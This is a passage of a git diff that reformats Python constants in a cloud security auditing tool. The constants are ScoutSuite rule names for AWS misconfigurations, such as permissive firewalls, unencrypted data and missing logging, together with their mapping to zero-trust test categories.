a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py index 2538cf54d..20fa6337d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py @@ -1,19 +1,21 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class RedshiftRules(RuleNameEnum): # Encryption - REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = 'redshift-cluster-database-not-encrypted' - REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = 'redshift-parameter-group-ssl-not-required' + REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = "redshift-cluster-database-not-encrypted" + REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = "redshift-parameter-group-ssl-not-required" # Firewalls - REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = 'redshift-security-group-whitelists-all' + REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = "redshift-security-group-whitelists-all" # Restrictive Policies - REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = 'redshift-cluster-publicly-accessible' + REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = "redshift-cluster-publicly-accessible" # Logging - REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = 'redshift-parameter-group-logging-disabled' + REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = "redshift-parameter-group-logging-disabled" # Service security - REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = 'redshift-cluster-no-version-upgrade' + REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = "redshift-cluster-no-version-upgrade" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py index 4ba27a57a..a57d95f7c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py @@ -1,29 +1,31 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class S3Rules(RuleNameEnum): # Encryption - S3_BUCKET_ALLOWING_CLEARTEXT = 's3-bucket-allowing-cleartext' - S3_BUCKET_NO_DEFAULT_ENCRYPTION = 's3-bucket-no-default-encryption' + S3_BUCKET_ALLOWING_CLEARTEXT = "s3-bucket-allowing-cleartext" + S3_BUCKET_NO_DEFAULT_ENCRYPTION = "s3-bucket-no-default-encryption" # Data loss prevention - S3_BUCKET_NO_MFA_DELETE = 's3-bucket-no-mfa-delete' - S3_BUCKET_NO_VERSIONING = 's3-bucket-no-versioning' + S3_BUCKET_NO_MFA_DELETE = "s3-bucket-no-mfa-delete" + S3_BUCKET_NO_VERSIONING = "s3-bucket-no-versioning" # Logging - S3_BUCKET_NO_LOGGING = 's3-bucket-no-logging' + S3_BUCKET_NO_LOGGING = "s3-bucket-no-logging" # Permissive access rules - S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = 's3-bucket-AuthenticatedUsers-write_acp' - S3_BUCKET_AUTHENTICATEDUSERS_WRITE = 's3-bucket-AuthenticatedUsers-write' - S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = 's3-bucket-AuthenticatedUsers-read_acp' - S3_BUCKET_AUTHENTICATEDUSERS_READ = 's3-bucket-AuthenticatedUsers-read' - S3_BUCKET_ALLUSERS_WRITE_ACP = 's3-bucket-AllUsers-write_acp' - S3_BUCKET_ALLUSERS_WRITE = 's3-bucket-AllUsers-write' - S3_BUCKET_ALLUSERS_READ_ACP = 's3-bucket-AllUsers-read_acp' - S3_BUCKET_ALLUSERS_READ = 's3-bucket-AllUsers-read' - S3_BUCKET_WORLD_PUT_POLICY = 's3-bucket-world-Put-policy' - S3_BUCKET_WORLD_POLICY_STAR = 's3-bucket-world-policy-star' - S3_BUCKET_WORLD_LIST_POLICY = 's3-bucket-world-List-policy' - S3_BUCKET_WORLD_GET_POLICY = 's3-bucket-world-Get-policy' - S3_BUCKET_WORLD_DELETE_POLICY = 's3-bucket-world-Delete-policy' + S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = "s3-bucket-AuthenticatedUsers-write_acp" + S3_BUCKET_AUTHENTICATEDUSERS_WRITE = "s3-bucket-AuthenticatedUsers-write" + S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = "s3-bucket-AuthenticatedUsers-read_acp" + S3_BUCKET_AUTHENTICATEDUSERS_READ = "s3-bucket-AuthenticatedUsers-read" + S3_BUCKET_ALLUSERS_WRITE_ACP = "s3-bucket-AllUsers-write_acp" + S3_BUCKET_ALLUSERS_WRITE = "s3-bucket-AllUsers-write" + S3_BUCKET_ALLUSERS_READ_ACP = "s3-bucket-AllUsers-read_acp" + S3_BUCKET_ALLUSERS_READ = "s3-bucket-AllUsers-read" + S3_BUCKET_WORLD_PUT_POLICY = "s3-bucket-world-Put-policy" + S3_BUCKET_WORLD_POLICY_STAR = "s3-bucket-world-policy-star" + S3_BUCKET_WORLD_LIST_POLICY = "s3-bucket-world-List-policy" + S3_BUCKET_WORLD_GET_POLICY = "s3-bucket-world-Get-policy" + S3_BUCKET_WORLD_DELETE_POLICY = "s3-bucket-world-Delete-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py index 4cb875c6d..a73e00478 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py @@ -1,8 +1,9 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class SESRules(RuleNameEnum): - # Permissive policies - SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = 'ses-identity-world-SendRawEmail-policy' - SES_IDENTITY_WORLD_SENDEMAIL_POLICY = 'ses-identity-world-SendEmail-policy' + SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = "ses-identity-world-SendRawEmail-policy" + SES_IDENTITY_WORLD_SENDEMAIL_POLICY = "ses-identity-world-SendEmail-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py index 9fb847114..09d410239 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py @@ -1,13 +1,14 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class SNSRules(RuleNameEnum): - # Permissive policies - SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = 'sns-topic-world-Subscribe-policy' - SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = 'sns-topic-world-SetTopicAttributes-policy' - SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = 'sns-topic-world-RemovePermission-policy' - SNS_TOPIC_WORLD_RECEIVE_POLICY = 'sns-topic-world-Receive-policy' - SNS_TOPIC_WORLD_PUBLISH_POLICY = 'sns-topic-world-Publish-policy' - SNS_TOPIC_WORLD_DELETETOPIC_POLICY = 'sns-topic-world-DeleteTopic-policy' - SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = 'sns-topic-world-AddPermission-policy' + SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = "sns-topic-world-Subscribe-policy" + SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = "sns-topic-world-SetTopicAttributes-policy" + SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = "sns-topic-world-RemovePermission-policy" + SNS_TOPIC_WORLD_RECEIVE_POLICY = "sns-topic-world-Receive-policy" + SNS_TOPIC_WORLD_PUBLISH_POLICY = "sns-topic-world-Publish-policy" + SNS_TOPIC_WORLD_DELETETOPIC_POLICY = "sns-topic-world-DeleteTopic-policy" + SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = "sns-topic-world-AddPermission-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py index cc5c774e3..44e666f96 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py @@ -1,13 +1,16 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class SQSRules(RuleNameEnum): - # Permissive policies - SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = 'sqs-queue-world-SendMessage-policy' - SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = 'sqs-queue-world-ReceiveMessage-policy' - SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = 'sqs-queue-world-PurgeQueue-policy' - SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = 'sqs-queue-world-GetQueueUrl-policy' - SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = 'sqs-queue-world-GetQueueAttributes-policy' - SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = 'sqs-queue-world-DeleteMessage-policy' - SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = 'sqs-queue-world-ChangeMessageVisibility-policy' + SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = "sqs-queue-world-SendMessage-policy" + SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = "sqs-queue-world-ReceiveMessage-policy" + SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = "sqs-queue-world-PurgeQueue-policy" + SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = "sqs-queue-world-GetQueueUrl-policy" + SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = "sqs-queue-world-GetQueueAttributes-policy" + SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = "sqs-queue-world-DeleteMessage-policy" + SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = ( + "sqs-queue-world-ChangeMessageVisibility-policy" + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py index 4dcbd4f1a..f4ecba532 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py @@ -1,15 +1,17 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class VPCRules(RuleNameEnum): # Logging - SUBNET_WITHOUT_FLOW_LOG = 'vpc-subnet-without-flow-log' + SUBNET_WITHOUT_FLOW_LOG = "vpc-subnet-without-flow-log" # Firewalls - SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = 'vpc-subnet-with-allow-all-ingress-acls' - SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = 'vpc-subnet-with-allow-all-egress-acls' - NETWORK_ACL_NOT_USED = 'vpc-network-acl-not-used' - DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-default-network-acls-allow-all-ingress' - DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-default-network-acls-allow-all-egress' - CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = 'vpc-custom-network-acls-allow-all-ingress' - CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = 'vpc-custom-network-acls-allow-all-egress' + SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = "vpc-subnet-with-allow-all-ingress-acls" + SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = "vpc-subnet-with-allow-all-egress-acls" + NETWORK_ACL_NOT_USED = "vpc-network-acl-not-used" + DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-default-network-acls-allow-all-ingress" + DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-default-network-acls-allow-all-egress" + CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-custom-network-acls-allow-all-ingress" + CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-custom-network-acls-allow-all-egress" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py index 251e57324..ddab1cfd6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py @@ -2,17 +2,29 @@ from abc import ABC, abstractmethod from typing import List from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( + CloudformationRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( + CloudTrailRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( + CloudWatchRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( + ConfigRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( + RedshiftRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules @@ -34,47 +46,68 @@ class ScoutSuiteFindingMap(ABC): class PermissiveFirewallRules(ScoutSuiteFindingMap): - rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, - EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, - EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, - EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, - VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, - VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, - VPCRules.NETWORK_ACL_NOT_USED, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, - RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, - RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL - ] + rules = [ + EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, + EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, + EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, + EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, + EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, + EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, + VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, + VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, + VPCRules.NETWORK_ACL_NOT_USED, + VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, + VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, + VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, + VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, + RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, + RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL, + ] test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES class UnencryptedData(ScoutSuiteFindingMap): - rules = [EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, - EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, - ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, ELBv2Rules.ELBV2_OLDER_SSL_POLICY, - RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, - S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, - ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, - ELBRules.ELB_OLDER_SSL_POLICY] + rules = [ + EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, + EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, + EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, + ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, + ELBv2Rules.ELBV2_OLDER_SSL_POLICY, + RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, + RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, + RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, + S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, + S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, + ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, + ELBRules.ELB_OLDER_SSL_POLICY, + ] test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA class DataLossPrevention(ScoutSuiteFindingMap): - rules = [RDSRules.RDS_INSTANCE_BACKUP_DISABLED, RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, - RDSRules.RDS_INSTANCE_SINGLE_AZ, S3Rules.S3_BUCKET_NO_MFA_DELETE, S3Rules.S3_BUCKET_NO_VERSIONING, - ELBv2Rules.ELBV2_NO_DELETION_PROTECTION] + rules = [ + RDSRules.RDS_INSTANCE_BACKUP_DISABLED, + RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, + RDSRules.RDS_INSTANCE_SINGLE_AZ, + S3Rules.S3_BUCKET_NO_MFA_DELETE, + S3Rules.S3_BUCKET_NO_VERSIONING, + ELBv2Rules.ELBV2_NO_DELETION_PROTECTION, + ] test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION @@ -91,7 +124,7 @@ class SecureAuthentication(ScoutSuiteFindingMap): IAMRules.IAM_ROOT_ACCOUNT_NO_MFA, IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS, IAMRules.IAM_USER_NO_INACTIVE_KEY_ROTATION, - IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS + IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS, ] test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION @@ -153,7 +186,7 @@ class RestrictivePolicies(ScoutSuiteFindingMap): SNSRules.SNS_TOPIC_WORLD_ADDPERMISSION_POLICY, SESRules.SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY, SESRules.SES_IDENTITY_WORLD_SENDEMAIL_POLICY, - RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE + RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE, ] test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES @@ -173,7 +206,7 @@ class Logging(ScoutSuiteFindingMap): ELBv2Rules.ELBV2_NO_ACCESS_LOGS, VPCRules.SUBNET_WITHOUT_FLOW_LOG, ConfigRules.CONFIG_RECORDER_NOT_CONFIGURED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED + RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED, ] test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING @@ -185,7 +218,7 @@ class ServiceSecurity(ScoutSuiteFindingMap): ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, RDSRules.RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED, RDSRules.RDS_INSTANCE_NO_MINOR_UPGRADE, - RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE + RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE, ] test = zero_trust_consts.TEST_SCOUTSUITE_SERVICE_SECURITY diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py index d19c2b216..65f85aa9d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -1,5 +1,19 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import RestrictivePolicies, \ - SecureAuthentication, DataLossPrevention, UnencryptedData, PermissiveFirewallRules, ServiceSecurity, Logging +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( + DataLossPrevention, + Logging, + PermissiveFirewallRules, + RestrictivePolicies, + SecureAuthentication, + ServiceSecurity, + UnencryptedData, +) -SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, - RestrictivePolicies, Logging, ServiceSecurity] +SCOUTSUITE_FINDINGS = [ + PermissiveFirewallRules, + UnencryptedData, + DataLossPrevention, + SecureAuthentication, + RestrictivePolicies, + Logging, + ServiceSecurity, +] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py index a31c83d3e..abbd48164 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py @@ -1,31 +1,31 @@ from enum import Enum -SERVICES = 'services' -FINDINGS = 'findings' +SERVICES = "services" +FINDINGS = "findings" class SERVICE_TYPES(Enum): - ACM = 'acm' - AWSLAMBDA = 'awslambda' - CLOUDFORMATION = 'cloudformation' - CLOUDTRAIL = 'cloudtrail' - CLOUDWATCH = 'cloudwatch' - CONFIG = 'config' - DIRECTCONNECT = 'directconnect' - EC2 = 'ec2' - EFS = 'efs' - ELASTICACHE = 'elasticache' - ELB = 'elb' - ELB_V2 = 'elbv2' - EMR = 'emr' - IAM = 'iam' - KMS = 'kms' - RDS = 'rds' - REDSHIFT = 'redshift' - ROUTE53 = 'route53' - S3 = 's3' - SES = 'ses' - SNS = 'sns' - SQS = 'sqs' - VPC = 'vpc' - SECRETSMANAGER = 'secretsmanager' + ACM = "acm" + AWSLAMBDA = "awslambda" + CLOUDFORMATION = "cloudformation" + CLOUDTRAIL = "cloudtrail" + CLOUDWATCH = "cloudwatch" + CONFIG = "config" + DIRECTCONNECT = "directconnect" + EC2 = "ec2" + EFS = "efs" + ELASTICACHE = "elasticache" + ELB = "elb" + ELB_V2 = "elbv2" + EMR = "emr" + IAM = "iam" + KMS = "kms" + RDS = "rds" + REDSHIFT = "redshift" + ROUTE53 = "route53" + S3 = "s3" + SES = "ses" + SNS = "sns" + SQS = "sqs" + VPC = "vpc" + SECRETSMANAGER = "secretsmanager" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 935f1c989..7db9a5988 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -2,8 +2,9 @@ from enum import Enum from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ - RULE_PATH_CREATORS_LIST +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501 + RULE_PATH_CREATORS_LIST, +) def __build_rule_to_rule_path_creator_hashmap(): @@ -18,7 +19,6 @@ RULE_TO_RULE_PATH_CREATOR_HASHMAP = __build_rule_to_rule_path_creator_hashmap() class RuleParser: - @staticmethod def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: rule_path = RuleParser._get_rule_path(rule_name) @@ -34,5 +34,7 @@ class RuleParser: try: return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] except KeyError: - raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators.") + raise RulePathCreatorNotFound( + f"Rule path creator not found for rule {rule_name.value}. Make sure 